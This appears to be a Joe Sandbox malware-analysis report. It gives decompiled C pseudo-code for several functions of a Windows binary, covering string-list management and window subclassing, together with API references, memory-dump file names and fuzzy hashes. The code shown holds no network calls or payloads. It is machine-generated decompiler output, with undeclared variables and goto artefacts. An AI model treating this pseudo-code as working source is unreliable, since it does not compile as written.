			E000FB170(signed int* __ebx, CHAR* __ecx, signed int __edx) {
				signed int _v8;
				char _v276;
				CHAR* _v280;
				void* __edi;
				void* __esi;
				signed int _t38;
				int _t43;
				signed int _t47;
				CHAR* _t48;
				void* _t49;
				CHAR* _t52;
				void* _t54;
				signed int _t55;
				CHAR* _t63;
				signed int* _t64;
				signed int _t78;
				void* _t86;
				CHAR* _t88;
				void* _t91;
				signed int _t97;
				void* _t98;

				_t78 = __edx;
				_t64 = __ebx;
				_t38 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t38 ^ _t97;
				_t88 = __ecx;
				_v280 = __ecx;
				if(__ecx == 0) {
					L5:
					return E001059E6(0, _t64, _v8 ^ _t97, _t78, _t83, _t88);
				} else {
					_t83 = lstrlenA;
					if(lstrlenA(__ecx) <= 0x103) {
						_t43 = lstrlenA(_t88);
					} else {
						_t43 = 0x103;
					}
					if(lstrcpynA( &_v276, _t88, _t43 + 1) != 0) {
						_t89 = 0;
						__eflags = _t64[1];
						if(_t64[1] <= 0) {
							L12:
							_t47 = _t64[1];
							__eflags = _t47 - _t64[3];
							if(_t47 != _t64[3]) {
								goto L25;
							} else {
								__eflags = _t47;
								if(_t47 <= 0) {
									goto L25;
								} else {
									__eflags = _t47 == 1;
									if(_t47 == 1) {
										goto L24;
									} else {
										_t78 =  *_t64;
										_t72 = (_t47 - 1) * 0x104;
										_t89 = _t78 + 0x104;
										_t54 = E00105B58(_t78, _t47 * 0x104, _t78 + 0x104, (_t47 - 1) * 0x104);
										_t98 = _t98 + 0x10;
										__eflags = _t54 - 0x50;
										if(_t54 > 0x50) {
											goto L28;
										} else {
											_t14 = _t54 + 0xfb388; // 0x3030300
											switch( *((intOrPtr*)(( *_t14 & 0x000000ff) * 4 +  &M000FB378))) {
												case 0:
													goto L24;
												case 1:
													goto L22;
												case 2:
													goto L23;
												case 3:
													goto L28;
											}
										}
									}
								}
							}
						} else {
							_t83 = 0;
							__eflags = 0;
							while(1) {
								__eflags = _t89;
								if(_t89 < 0) {
									break;
								}
								__eflags = _t89 - _t64[1];
								if(_t89 >= _t64[1]) {
									break;
								} else {
									_t63 = lstrcmpiA( *_t64 + _t83, _v280);
									__eflags = _t63;
									if(_t63 == 0) {
										_t55 = _t64[1];
										__eflags = _t89 - _t55;
										if(_t89 < _t55) {
											__eflags = _t89 - _t55 - 1;
											if(_t89 != _t55 - 1) {
												__eflags =  *_t64 + _t89 * 0x104;
												E000F1240( *_t64 + _t89 * 0x104,  *_t64 + _t89 * 0x104, (_t55 - _t89) * 0x104,  &(( *_t64 + _t89 * 0x104)[0x104]), (_t55 - _t89) * 0x104 - 0x104);
												_t98 = _t98 + 0x10;
											}
											_t64[1] = _t64[1] - 1;
										}
										goto L12;
									} else {
										_t89 = _t89 + 1;
										_t83 = _t83 + 0x104;
										__eflags = _t89 - _t64[1];
										if(_t89 < _t64[1]) {
											continue;
										} else {
											goto L12;
										}
									}
								}
								goto L38;
							}
							RaiseException(0xc000008c, 1, 0, 0);
							L22:
							_push(0x8007000e);
							E000F1170(_t78);
							L23:
							_push(0x80070057);
							E000F1170(_t78);
							L24:
							_t23 =  &(_t64[1]);
							 *_t23 = _t64[1] - 1;
							__eflags =  *_t23;
							L25:
							_t78 = _t64[1];
							_t48 = _t64[2];
							__eflags = _t78 - _t48;
							if(_t78 != _t48) {
								L35:
								_t86 = _t64[1] * 0x104 +  *_t64;
								__eflags = _t86;
								if(_t86 != 0) {
									_t91 =  &_v276;
									memcpy(_t86, _t91, 0x41 << 2);
									_t86 = _t91 + 0x82;
								}
								_t64[1] = _t64[1] + 1;
								_t49 = E000FD690(_t78, _t64);
								__eflags = _v8 ^ _t97;
								return E001059E6(_t49, _t64, _v8 ^ _t97, _t78, _t86, _t64);
							} else {
								_t72 =  *_t64;
								__eflags =  &_v276 - _t72;
								if( &_v276 >= _t72) {
									_t83 =  &_v276;
									__eflags =  &_v276 - _t48 * 0x104 + _t72;
									if( &_v276 < _t48 * 0x104 + _t72) {
										L28:
										_push(0x80004005);
										_t48 = E000F1170(_t78);
									}
								}
								__eflags = _t48;
								if(_t48 != 0) {
									_t88 = _t78 + _t78;
									__eflags = _t88;
									if(_t88 < 0) {
										goto L5;
									} else {
										__eflags = _t88 - 0x7e07e0;
										if(_t88 > 0x7e07e0) {
											goto L5;
										} else {
											goto L33;
										}
									}
								} else {
									_t29 =  &(_t48[1]); // 0x1
									_t88 = _t29;
									L33:
									_t52 = E00106254(_t72, _t88, 0x104);
									_t98 = _t98 + 0xc;
									__eflags = _t52;
									if(_t52 == 0) {
										goto L5;
									} else {
										_t64[2] = _t88;
										 *_t64 = _t52;
										goto L35;
									}
								}
							}
						}
					} else {
						goto L5;
					}
				}
				L38:
			}

0x000fb170
0x000fb170
0x000fb179
0x000fb180
0x000fb184
0x000fb187
0x000fb18f
0x000fb1bf
0x000fb1d0
0x000fb191
0x000fb191
0x000fb19f
0x000fb1a9
0x000fb1a1
0x000fb1a1
0x000fb1a1
0x000fb1bd
0x000fb1d1
0x000fb1d3
0x000fb1d6
0x000fb213
0x000fb213
0x000fb216
0x000fb219
0x00000000
0x000fb21f
0x000fb21f
0x000fb221
0x00000000
0x000fb227
0x000fb22a
0x000fb22c
0x00000000
0x000fb232
0x000fb232
0x000fb23d
0x000fb244
0x000fb24d
0x000fb252
0x000fb255
0x000fb258
0x00000000
0x000fb25e
0x000fb25e
0x000fb265
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x000fb265
0x000fb258
0x000fb22c
0x000fb221
0x000fb1d8
0x000fb1d8
0x000fb1d8
0x000fb1e0
0x000fb1e0
0x000fb1e2
0x00000000
0x00000000
0x000fb1e8
0x000fb1eb
0x00000000
0x000fb1f1
0x000fb1fd
0x000fb203
0x000fb205
0x000fb26c
0x000fb26f
0x000fb271
0x000fb276
0x000fb278
0x000fb291
0x000fb29c
0x000fb2a1
0x000fb2a1
0x000fb2a4
0x000fb2a4
0x00000000
0x000fb207
0x000fb207
0x000fb208
0x000fb20e
0x000fb211
0x00000000
0x00000000
0x00000000
0x00000000
0x000fb211
0x000fb205
0x00000000
0x000fb1eb
0x000fb2b7
0x000fb2bd
0x000fb2bd
0x000fb2c2
0x000fb2c7
0x000fb2c7
0x000fb2cc
0x000fb2d1
0x000fb2d1
0x000fb2d1
0x000fb2d1
0x000fb2d4
0x000fb2d4
0x000fb2d7
0x000fb2da
0x000fb2dc
0x000fb344
0x000fb34d
0x000fb34d
0x000fb34f
0x000fb356
0x000fb35c
0x000fb35c
0x000fb35c
0x000fb35e
0x000fb363
0x000fb36c
0x000fb377
0x000fb2de
0x000fb2de
0x000fb2e6
0x000fb2e8
0x000fb2f4
0x000fb2fa
0x000fb2fc
0x000fb2fe
0x000fb2fe
0x000fb303
0x000fb303
0x000fb2fc
0x000fb308
0x000fb30a
0x000fb311
0x000fb314
0x000fb316
0x00000000
0x000fb31c
0x000fb31c
0x000fb322
0x00000000
0x00000000
0x00000000
0x00000000
0x000fb322
0x000fb30c
0x000fb30c
0x000fb30c
0x000fb328
0x000fb32f
0x000fb334
0x000fb337
0x000fb339
0x00000000
0x000fb33f
0x000fb33f
0x000fb342
0x00000000
0x000fb342
0x000fb339
0x000fb30a
0x000fb2dc
0x00000000
0x00000000
0x00000000
0x000fb1bd
0x00000000

APIs

lstrlenA.KERNEL32(?), ref: 000FB198
lstrlenA.KERNEL32(?), ref: 000FB1A9
lstrcpynA.KERNEL32(?,?,00000001), ref: 000FB1B5
lstrcmpiA.KERNEL32(00000000,?), ref: 000FB1FD
_memmove_s.LIBCMT ref: 000FB24D
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 000FB2B7
__recalloc.LIBCMT ref: 000FB32F

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen$ExceptionRaise__recalloc_memmove_slstrcmpilstrcpyn
String ID:
API String ID: 959487417-0
Opcode ID: 419414377df4f2d4bee09ac21a760d28608d99fe05e32cff0e7f8b773593c90f
Instruction ID: 5618ec0f218e1034df906c5a1e8c5a8565cedab251aaf5e06dc41f8d723dd55a
Opcode Fuzzy Hash: 419414377df4f2d4bee09ac21a760d28608d99fe05e32cff0e7f8b773593c90f
Instruction Fuzzy Hash: D6519172A011289BDB249F14CD857FDB7A9EB44700F0581A5EF09AF546D774AD80DE90

Uniqueness

Uniqueness Score: -1.00%

Function 00102760 Relevance: 10.7, APIs: 7, Instructions: 155
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00102760(long* _a4, long _a8) {
				char _v8;
				char _v16;
				char _v20;
				CHAR* _v24;
				int _v28;
				intOrPtr* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				long _t48;
				char _t49;
				int _t54;
				intOrPtr _t56;
				long _t59;
				long _t60;
				long _t62;
				int _t67;
				char _t72;
				long _t76;
				CHAR* _t86;
				struct HWND__* _t88;
				CHAR* _t91;
				LONG* _t94;
				LONG* _t95;
				long* _t98;
				signed int _t103;
				void* _t104;
				void* _t105;

				_push(0xffffffff);
				_push(E0010FB00);
				_push( *[fs:0x0]);
				_t105 = _t104 - 0x10;
				_t45 =  *0x159060; // 0x1f9a9bdf
				_push(_t45 ^ _t103);
				 *[fs:0x0] =  &_v16;
				_t98 = _a4;
				if(_t98 == 0) {
					_v28 = 0;
				} else {
					_v28 = _t98 - 0x24;
				}
				_t48 =  *_t98;
				_t98[4] = 1;
				if(_t48 == 0) {
					L7:
					_t49 =  *0x15ad30; // 0x15ad2c
					_v20 = _t49;
					_v8 = 0;
					_v32 = _v28 + 4;
					E001033C0( &_v20, _v28 + 4);
					_t72 = _v20;
					__eflags =  *(_t72 - 8);
					if( *(_t72 - 8) == 0) {
						L10:
						E000F5870( &(_t98[1]), _t72,  &_v20);
						_t72 = _v20;
					} else {
						_t62 = E00105B41(_t72, "\n\r");
						_t105 = _t105 + 8;
						__eflags = _t62;
						if(_t62 != 0) {
							__eflags = _t62 - _t72 - 0xffffffff;
							if(_t62 - _t72 != 0xffffffff) {
								goto L10;
							}
						}
					}
					_t91 = _t98[2];
					__eflags =  *(_t91 - 0xc);
					if( *(_t91 - 0xc) < 0) {
						_t86 =  *0x15ad30; // 0x15ad2c
						_v24 = _t86;
						__eflags = _t91;
						if(_t91 != 0) {
							_t54 = lstrlenA(_t91);
						} else {
							_t54 = 0;
						}
						E000F5F10(_t54,  &_v24, _t91);
						_t91 = _v24;
						_t98 = _a4;
					} else {
						_t24 = _t91 - 0xc; // -12
						_v24 = _t91;
						InterlockedIncrement(_t24);
					}
					_t56 = _v28;
					_v8 = 1;
					__eflags =  *(_t56 + 0x40);
					_t76 = 0x10000;
					if( *(_t56 + 0x40) != 0) {
						_t76 = 0x10001;
					}
					__eflags =  *(_t56 + 0x38);
					if(__eflags != 0) {
						__eflags = _t76;
					}
					_t59 = E000F70F0(__eflags, _a8, _t72, _t91, _t76,  *_v32);
					 *_t98 = _t59;
					__eflags = _t59;
					if(_t59 != 0) {
						_t98[3] = _a8;
					}
					_t60 = _t91 - 0xc;
					_v8 = 0;
					__eflags = _t60 - 0x15ad20;
					if(_t60 != 0x15ad20) {
						_t95 =  &(_t91[0xfffffffffffffff4]);
						_t60 = InterlockedDecrement(_t95);
						__eflags = _t60;
						if(_t60 <= 0) {
							_push(_t95);
							_t60 = E001062C2();
							_t105 = _t105 + 4;
						}
					}
					_v8 = 0xffffffff;
					__eflags = _t72 - 0xc - 0x15ad20;
					if(_t72 - 0xc != 0x15ad20) {
						_t94 = _t72 - 0xc;
						_t60 = InterlockedDecrement(_t94);
						__eflags = _t60;
						if(_t60 <= 0) {
							_push(_t94);
							_t60 = E001062C2();
						}
					}
					 *[fs:0x0] = _v16;
					return _t60;
				} else {
					_t88 =  *(_t48 + 4);
					if(_t98[3] != _a8) {
						SendMessageA(_t88, 0x10, 0, 0);
						goto L7;
					} else {
						SetActiveWindow(_t88);
						_t67 = ShowWindow( *( *_t98 + 4), 5);
						 *[fs:0x0] = _v16;
						return _t67;
					}
				}
			}

0x00102763
0x00102765
0x00102770
0x00102771
0x00102777
0x0010277e
0x00102782
0x00102788
0x0010278f
0x00102799
0x00102791
0x00102794
0x00102794
0x0010279c
0x0010279e
0x001027a7
0x001027e8
0x001027e8
0x001027ed
0x001027f9
0x001027fc
0x001027ff
0x00102804
0x00102807
0x0010280b
0x00102826
0x0010282c
0x00102831
0x0010280d
0x00102813
0x00102818
0x0010281b
0x0010281d
0x00102821
0x00102824
0x00000000
0x00000000
0x00102824
0x0010281d
0x00102834
0x00102837
0x0010283b
0x0010284c
0x00102852
0x00102855
0x00102857
0x0010285e
0x00102859
0x00102859
0x00102859
0x0010286a
0x0010286f
0x00102872
0x0010283d
0x0010283d
0x00102841
0x00102844
0x00102844
0x00102875
0x00102878
0x0010287c
0x00102880
0x00102885
0x00102887
0x00102887
0x0010288c
0x00102890
0x00102892
0x00102892
0x001028a2
0x001028a7
0x001028a9
0x001028ab
0x001028b0
0x001028b0
0x001028b3
0x001028b6
0x001028c0
0x001028c5
0x001028c7
0x001028cb
0x001028cd
0x001028cf
0x001028d1
0x001028d2
0x001028d7
0x001028d7
0x001028cf
0x001028dd
0x001028e4
0x001028ea
0x001028ec
0x001028f0
0x001028f2
0x001028f4
0x001028f6
0x001028f7
0x001028fc
0x001028f4
0x00102902
0x00102910
0x001027a9
0x001027ac
0x001027b2
0x001027e2
0x00000000
0x001027b4
0x001027b5
0x001027c3
0x001027cc
0x001027da
0x001027da
0x001027b2

APIs

SetActiveWindow.USER32(?,1F9A9BDF,?,-00000024,?,?), ref: 001027B5
ShowWindow.USER32(?,00000005), ref: 001027C3
SendMessageA.USER32(?,00000010,00000000,00000000), ref: 001027E2

Part of subcall function 001033C0: SendMessageA.USER32(?,00000434,00000000,-00000024), ref: 001033DF
Part of subcall function 001033C0: SendMessageA.USER32(?,0000043E,00000000,00000000), ref: 00103413
Part of subcall function 001033C0: lstrlenA.KERNEL32(00000000,?,0000043E,00000000,00000000,?,00000434,00000000,-00000024,00000000,?,-00000024,?,?), ref: 00103423

InterlockedIncrement.KERNEL32(-0000000C), ref: 00102844
lstrlenA.KERNEL32(00000000,1F9A9BDF,?,-00000024,?,?), ref: 0010285E
InterlockedDecrement.KERNEL32(?), ref: 001028CB
InterlockedDecrement.KERNEL32(FFFFFFFF), ref: 001028F0

Part of subcall function 00105B41: __mbspbrk_l.LIBCMT ref: 00105B4E

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: InterlockedMessageSend$DecrementWindowlstrlen$ActiveIncrementShow__mbspbrk_l
String ID:
API String ID: 2999727784-0
Opcode ID: 2ab1f23d8b6f22f7dddecbf0f05bc7355b278108c40c204e37237f91619beec6
Instruction ID: ef41e2db77b6d692732429d2a5be0fcfbd24df47be3061f3a5fa461a3fb7af89
Opcode Fuzzy Hash: 2ab1f23d8b6f22f7dddecbf0f05bc7355b278108c40c204e37237f91619beec6
Instruction Fuzzy Hash: CF51AF75900209DFDB29DF54C888BAEF7F8FF58310F10852AE951A76D0D7B4A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001041D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E001041D0(long _a4, long _a8, int _a12, long _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				long _v28;
				int _v32;
				long _v36;
				struct HWND__* _v40;
				struct HWND__* _t51;
				signed int _t53;
				int _t59;
				long _t63;
				long _t65;
				long _t70;
				_Unknown_base(*)()* _t79;
				int _t89;
				intOrPtr* _t90;

				_t70 = _a16;
				_t90 = _a4;
				_t51 =  *(_t90 + 4);
				_t89 = _a12;
				_v36 = _a8;
				_push(0);
				_v24 = 0;
				_v16 = 0;
				_v20 = 0;
				_a4 = 0;
				_push( &_a4);
				_a12 =  *(_t90 + 0x18);
				_push(_t70);
				_push(_t89);
				 *(_t90 + 0x18) =  &_v40;
				_push(_a8);
				_push(_t51);
				_v12 = 0x24;
				_v8 = 1;
				_v40 = _t51;
				_v32 = _t89;
				_v28 = _t70;
				if( *((intOrPtr*)( *((intOrPtr*)( *_t90))))() == 0) {
					_t59 = _a8;
					if(_t59 == 0x82) {
						_a8 = GetWindowLongA( *(_t90 + 4), 0xfffffffc);
						_t63 = CallWindowProcA( *(_t90 + 0x20),  *(_t90 + 4), 0x82, _t89, _t70);
						_t79 =  *(_t90 + 0x20);
						_a4 = _t63;
						__eflags = _t79 - __imp__DefWindowProcA; // 0x778fd1c0
						if(__eflags != 0) {
							_t65 = GetWindowLongA( *(_t90 + 4), 0xfffffffc);
							__eflags = _t65 - _a8;
							if(_t65 == _a8) {
								SetWindowLongA( *(_t90 + 4), 0xfffffffc,  *(_t90 + 0x20));
							}
						}
						_t36 = _t90 + 0x1c;
						 *_t36 =  *(_t90 + 0x1c) | 0x00000001;
						__eflags =  *_t36;
					} else {
						_a4 = CallWindowProcA( *(_t90 + 0x20),  *(_t90 + 4), _t59, _t89, _t70);
					}
				}
				_t53 =  *(_t90 + 0x1c);
				if((_t53 & 0x00000001) == 0 || _a12 != 0) {
					 *(_t90 + 0x18) = _a12;
					return _a4;
				} else {
					 *(_t90 + 4) = 0;
					 *(_t90 + 0x18) = 0;
					 *(_t90 + 0x1c) = _t53 & 0xfffffffe;
					 *((intOrPtr*)( *((intOrPtr*)( *_t90 + 0xc))))( *(_t90 + 4));
					return _a4;
				}
			}

0x001041da
0x001041de
0x001041e4
0x001041e8
0x001041eb
0x001041f0
0x001041f1
0x001041f4
0x001041f7
0x001041fa
0x00104200
0x00104204
0x00104207
0x0010420b
0x0010420c
0x00104213
0x00104214
0x00104217
0x0010421e
0x00104225
0x00104228
0x0010422b
0x00104232
0x00104234
0x0010423c
0x0010426a
0x00104272
0x00104278
0x0010427b
0x0010427e
0x00104284
0x0010428c
0x00104292
0x00104295
0x001042a1
0x001042a1
0x00104295
0x001042a7
0x001042a7
0x001042a7
0x0010423e
0x0010424f
0x0010424f
0x0010423c
0x001042ab
0x001042b0
0x001042e5
0x001042ed
0x001042b9
0x001042bf
0x001042c2
0x001042c7
0x001042d0
0x001042db
0x001042db

APIs

CallWindowProcA.USER32 ref: 00104249
GetWindowLongA.USER32 ref: 0010425A
CallWindowProcA.USER32 ref: 00104272
GetWindowLongA.USER32 ref: 0010428C
SetWindowLongA.USER32 ref: 001042A1

Strings

$, xrefs: 00104217

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$Long$CallProc
String ID: $
API String ID: 513923721-3993045852
Opcode ID: cd55a629dd3202b50f6b461e4fee5fe0e56af9dccd1928c3949a6ea4d138ed5d
Instruction ID: 3339769ce0879a37279943c69831206a914b5167e9c4352118147b1c11da4ba3
Opcode Fuzzy Hash: cd55a629dd3202b50f6b461e4fee5fe0e56af9dccd1928c3949a6ea4d138ed5d
Instruction Fuzzy Hash: 9041ECB5A00609AFCB28CF59D88499BB7F9FB88310B10C61DF99A97750D770E940CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001043F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E001043F0(long _a4, long _a8, int _a12, long _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				long _v28;
				int _v32;
				long _v36;
				struct HWND__* _v40;
				struct HWND__* _t51;
				signed int _t53;
				int _t59;
				long _t63;
				long _t65;
				long _t70;
				_Unknown_base(*)()* _t79;
				int _t89;
				intOrPtr* _t90;

				_t70 = _a16;
				_t90 = _a4;
				_t51 =  *(_t90 + 4);
				_t89 = _a12;
				_v36 = _a8;
				_push(0);
				_v24 = 0;
				_v16 = 0;
				_v20 = 0;
				_a4 = 0;
				_push( &_a4);
				_a12 =  *(_t90 + 0x38);
				_push(_t70);
				_push(_t89);
				 *(_t90 + 0x38) =  &_v40;
				_push(_a8);
				_push(_t51);
				_v12 = 0x24;
				_v8 = 1;
				_v40 = _t51;
				_v32 = _t89;
				_v28 = _t70;
				if( *((intOrPtr*)( *((intOrPtr*)( *_t90))))() == 0) {
					_t59 = _a8;
					if(_t59 == 0x82) {
						_a8 = GetWindowLongA( *(_t90 + 4), 0xfffffffc);
						_t63 = CallWindowProcA( *(_t90 + 0x40),  *(_t90 + 4), 0x82, _t89, _t70);
						_t79 =  *(_t90 + 0x40);
						_a4 = _t63;
						__eflags = _t79 - __imp__DefWindowProcA; // 0x778fd1c0
						if(__eflags != 0) {
							_t65 = GetWindowLongA( *(_t90 + 4), 0xfffffffc);
							__eflags = _t65 - _a8;
							if(_t65 == _a8) {
								SetWindowLongA( *(_t90 + 4), 0xfffffffc,  *(_t90 + 0x40));
							}
						}
						_t36 = _t90 + 0x3c;
						 *_t36 =  *(_t90 + 0x3c) | 0x00000001;
						__eflags =  *_t36;
					} else {
						_a4 = CallWindowProcA( *(_t90 + 0x40),  *(_t90 + 4), _t59, _t89, _t70);
					}
				}
				_t53 =  *(_t90 + 0x3c);
				if((_t53 & 0x00000001) == 0 || _a12 != 0) {
					 *(_t90 + 0x38) = _a12;
					return _a4;
				} else {
					 *(_t90 + 4) = 0;
					 *(_t90 + 0x38) = 0;
					 *(_t90 + 0x3c) = _t53 & 0xfffffffe;
					 *((intOrPtr*)( *((intOrPtr*)( *_t90 + 0xc))))( *(_t90 + 4));
					return _a4;
				}
			}

0x001043fa
0x001043fe
0x00104404
0x00104408
0x0010440b
0x00104410
0x00104411
0x00104414
0x00104417
0x0010441a
0x00104420
0x00104424
0x00104427
0x0010442b
0x0010442c
0x00104433
0x00104434
0x00104437
0x0010443e
0x00104445
0x00104448
0x0010444b
0x00104452
0x00104454
0x0010445c
0x0010448a
0x00104492
0x00104498
0x0010449b
0x0010449e
0x001044a4
0x001044ac
0x001044b2
0x001044b5
0x001044c1
0x001044c1
0x001044b5
0x001044c7
0x001044c7
0x001044c7
0x0010445e
0x0010446f
0x0010446f
0x0010445c
0x001044cb
0x001044d0
0x00104505
0x0010450d
0x001044d9
0x001044df
0x001044e2
0x001044e7
0x001044f0
0x001044fb
0x001044fb

APIs

CallWindowProcA.USER32 ref: 00104469
GetWindowLongA.USER32 ref: 0010447A
CallWindowProcA.USER32 ref: 00104492
GetWindowLongA.USER32 ref: 001044AC
SetWindowLongA.USER32 ref: 001044C1

Strings

$, xrefs: 00104437

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Window$Long$CallProc
String ID: $
API String ID: 513923721-3993045852
Opcode ID: 48b939e32c97247f312b1bcd86cd8bc7b68fec8d4cf8b07156a017e8f3d89e24
Instruction ID: c9c7cb0629ced668e3d1e4cb7e392789d4dd79463e4a8bb4bc8f9bc5e3ae78d4
Opcode Fuzzy Hash: 48b939e32c97247f312b1bcd86cd8bc7b68fec8d4cf8b07156a017e8f3d89e24
Instruction Fuzzy Hash: A641ECB5A00619AFCB14CF59D98499BBBF8FB88310B10CA1DF99AD7750D771E940CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00101CC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00101CC0(long _a4, long _a8, struct HWND__* _a12, long _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				long _v24;
				long _v28;
				int _v32;
				long _v36;
				struct HWND__* _v40;
				void* _t41;
				int _t43;
				long _t49;
				long _t52;
				void* _t53;
				long _t54;
				struct HWND__* _t57;
				struct HWND__* _t61;
				void* _t70;
				int _t71;
				struct HWND__** _t74;

				_t74 = _a4;
				if(_t74 == 0) {
					L11:
					__eflags = 0;
					return 0;
				} else {
					_t61 =  *_t74;
					if(_t61 == 0) {
						goto L11;
					} else {
						_t57 = _t74[7];
						if(_t57 == 0) {
							goto L11;
						} else {
							_t54 = _a16;
							_t71 = _a12;
							_v24 = 0;
							_v16 = 0;
							_v20 = 0;
							_a4 = 0;
							_v40 = _t61;
							_v36 = _a8;
							_a12 = _t74[9];
							_t74[9] =  &_v40;
							_v12 = 0x24;
							_v8 = 1;
							_v32 = _t71;
							_v28 = _t54;
							_t41 =  *((intOrPtr*)( *(_t57->i)))( *_t74, _a8, _t71, _t54,  &_a4, _t74[8], _t70, _t53);
							_t74[9] = _a12;
							if(_t41 != 0) {
								L10:
								return _a4;
							} else {
								_t43 = _a8;
								if(_t43 == 0x82) {
									_a8 = GetWindowLongA( *_t74, 0xfffffffc);
									_a4 = CallWindowProcA(_t74[6],  *_t74, 0x82, _t71, _t54);
									__eflags = _t74[6] - __imp__DefWindowProcA; // 0x778fd1c0
									if(__eflags != 0) {
										_t49 = GetWindowLongA( *_t74, 0xfffffffc);
										__eflags = _t49 - _a8;
										if(_t49 == _a8) {
											SetWindowLongA( *_t74, 0xfffffffc, _t74[6]);
										}
									}
									 *_t74 = 0;
									goto L10;
								} else {
									_t52 = CallWindowProcA(_t74[6],  *_t74, _t43, _t71, _t54);
									_a4 = _t52;
									return _t52;
								}
							}
						}
					}
				}
			}

0x00101cc7
0x00101cce
0x00101dce
0x00101dce
0x00101dd4
0x00101cd4
0x00101cd4
0x00101cd8
0x00000000
0x00101cde
0x00101cde
0x00101ce3
0x00000000
0x00101ce9
0x00101cea
0x00101cee
0x00101cf1
0x00101cf4
0x00101cf7
0x00101cfa
0x00101d01
0x00101d07
0x00101d15
0x00101d1c
0x00101d22
0x00101d29
0x00101d30
0x00101d33
0x00101d3b
0x00101d40
0x00101d45
0x00101dc2
0x00101dcb
0x00101d47
0x00101d47
0x00101d4f
0x00101d86
0x00101d8f
0x00101d95
0x00101d9b
0x00101da2
0x00101da8
0x00101dab
0x00101db6
0x00101db6
0x00101dab
0x00101dbc
0x00000000
0x00101d51
0x00101d5b
0x00101d63
0x00101d6a
0x00101d6a
0x00101d4f
0x00101d45
0x00101ce3
0x00101cd8

APIs

CallWindowProcA.USER32 ref: 00101D5B
GetWindowLongA.USER32 ref: 00101D72
CallWindowProcA.USER32 ref: 00101D89
GetWindowLongA.USER32 ref: 00101DA2
SetWindowLongA.USER32 ref: 00101DB6

Strings

